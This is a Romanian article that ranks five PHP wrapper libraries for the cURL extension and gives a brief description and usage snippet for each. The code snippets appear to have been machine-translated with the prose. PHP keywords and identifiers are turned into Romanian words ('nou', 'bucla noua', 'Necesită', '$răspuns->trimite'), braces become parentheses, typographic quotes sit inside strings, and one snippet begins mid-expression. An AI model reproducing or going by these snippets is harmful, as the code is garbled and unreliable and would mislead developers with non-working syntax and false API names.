Obiectul CurlWrapper acceptă 5 tipuri de solicitări: HEAD, GET, POST, PUT și DELETE. Trebuie să specificați o adresă URL de solicitat și, opțional, să specificați o matrice asociativă sau un șir de interogări de variabile pentru a trimite împreună cu acesta:

$răspuns = $curl->head($url, $params); $răspuns = $curl->get($url, $params); $răspuns = $curl->post($url, $params); $răspuns = $curl->put($url, $params); $răspuns = $curl->delete($url, $params);

5. Rolling cURLx

Rolling Curl este un wrapper cURL Multi ușor de utilizat pentru PHP, cu un nume foarte cool. Acesta își propune să facă cererile http concurente în PHP cât mai ușor posibil. Inițializați mai întâi clasa cu numărul maxim de solicitări simultane pe care doriți să le deschideți simultan:

$RCX = nou RollingCurlX(10);

Toate cererile după aceasta vor fi puse în coadă până când una se finalizează:

$url = „http://www.google.com/search?q=apples”; $post_data = ["user" => "bob", "token" => "dQw4w9WgXcQ"]; //setat la NULL dacă nu se utilizează POST $user_data = ["foo", $orice]; $opțiuni = ; function callback_functn($response, $url, $request_info, $user_data, $time) ( $time; //cât a durat cererea în milisecunde (float) $request_info; //matrice returnată de curl_getinfo($ch), plus un cupluri suplimentare ) $RCX->addRequest($url, $post_data, "callback_functn", $user_data, $opțiuni, $headers);

Trimite cererile. Se blochează până când toate solicitările sunt finalizate sau expiră:

$RCX->execute();

4. PHP Curl

PHP Curl este o clasă PHP Curl Wrapper foarte simplă pentru cURL. Potrivit autorului, această clasă este cel mai mic înveliș OOP posibil pentru capabilitățile de curl PHP. Rețineți că aceasta nu este menită ca o abstracție la nivel înalt. Ar trebui să știți în continuare cum funcționează curl „PHP pur”, trebuie să știți opțiuni de curl de setat și trebuie să cunoașteți câteva elemente de bază despre HTTP. Sintaxa acesteia este prietenoasă pentru dezvoltatori:

// newRequest, newJsonRequest și newRawRequest returnează un obiect Request $request = $curl->newRequest("post", $url, ["foo" => "bar"]) ->setHeader("Accept-Charset", "utf -8") ->setHeader("Accept-Language", "en-US") ->setOption(CURLOPT_CAINFO, "/path/to/cert") ->setOption(CURLOPT_FOLLOWLOCATION, true); $răspuns = $cerere->trimite();

3.Curl ușor

Curl Easy este un wrapper pentru extensia cURL a PHP. Acceptă solicitări paralele și neblocante. Aceasta este o bibliotecă mică, dar puternică și robustă, care accelerează lucrurile. Dacă v-ați săturat să utilizați extensia PHP cURL cu interfața sa procedurală, dar doriți să păstrați și controlul asupra execuției scripturilor, este o alegere excelentă pentru dvs. Această bibliotecă:

  • testat pe scară largă.
  • bibliotecă ușoară cu interfață de nivel moderat. Nu este o bibliotecă all-in-one.
  • conexiuni paralele/asincrone cu interfață foarte simplă.
  • atașarea/detașarea cererilor în paralel pe timpul de execuție!
  • suport pentru apeluri inverse, astfel încât să puteți controla procesul de execuție.
  • setari inteligenți ca alternativă la constantele CURLOPT_*.
  • dacă cunoașteți extensia cURL php, nu trebuie să învățați lucruri de la început

Sintaxa sa este, de asemenea, destul de ușor de înțeles:

getOptions() ->set(CURLOPT_TIMEOUT, 5) ->set(CURLOPT_RETURNTRANSFER, true); $răspuns = $cerere->trimite(); $feed = json_decode($response->getContent(), true); echo "Prețul actual al Bitcoin: " . $feed[„date”][„rata”] . " " . $feed["date"]["cod"] . „\n”;

2. Curl de Shuber

Biblioteca Curl este un wrapper CURL de bază pentru PHP. Obiectul Curl acceptă 5 tipuri de solicitări: HEAD, GET, POST, PUT și DELETE. Trebuie să specificați o adresă URL de solicitat și, opțional, să specificați o matrice asociativă sau un șir de variabile pentru a trimite împreună cu acesta. Pur și simplu solicitați și inițializați clasa Curl astfel:

Require_once "curl.php"; $curl = bucla noua; $răspuns = $curl->head($url, $vars = array()); $răspuns = $curl->get($url, $vars = array()); # Obiectul Curl va atasa matricea $vars la $url ca sir de interogare $response = $curl->post($url, $vars = array()); $răspuns = $curl->put($url, $vars = array()); $răspuns = $curl->delete($url, $vars = array());

1. PHP Curl Class

PHP Curl Class este un wrapper foarte bine scris de cURL, care face foarte ușor să trimiteți solicitări HTTP și să se integreze cu orice tip de API-uri web. PHP Curl Class funcționează cu PHP 5.3, 5.4, 5.5, 5.6, 7.0, 7.1 și HHVM. Această bibliotecă este cunoscută pe scară largă și oferă o sintaxă foarte ușoară:

Necesită __DIR__ . „/vendor/autoload.php”; folosește\Curl\Curl; $curl = new Curl(); $curl->get("https://www.example.com/"); if ($curl->error) ( echo "Eroare: " . $curl->errorCode . ": " . $curl->errorMessage . "\n"; ) else ( echo "Răspuns:" . "\n"; var_dump($curl->răspuns); )

Dacă cunoașteți o altă bibliotecă de wrapper minunată pentru extensia cURL scrisă în PHP, vă rugăm să o distribuiți comunității în caseta de comentarii.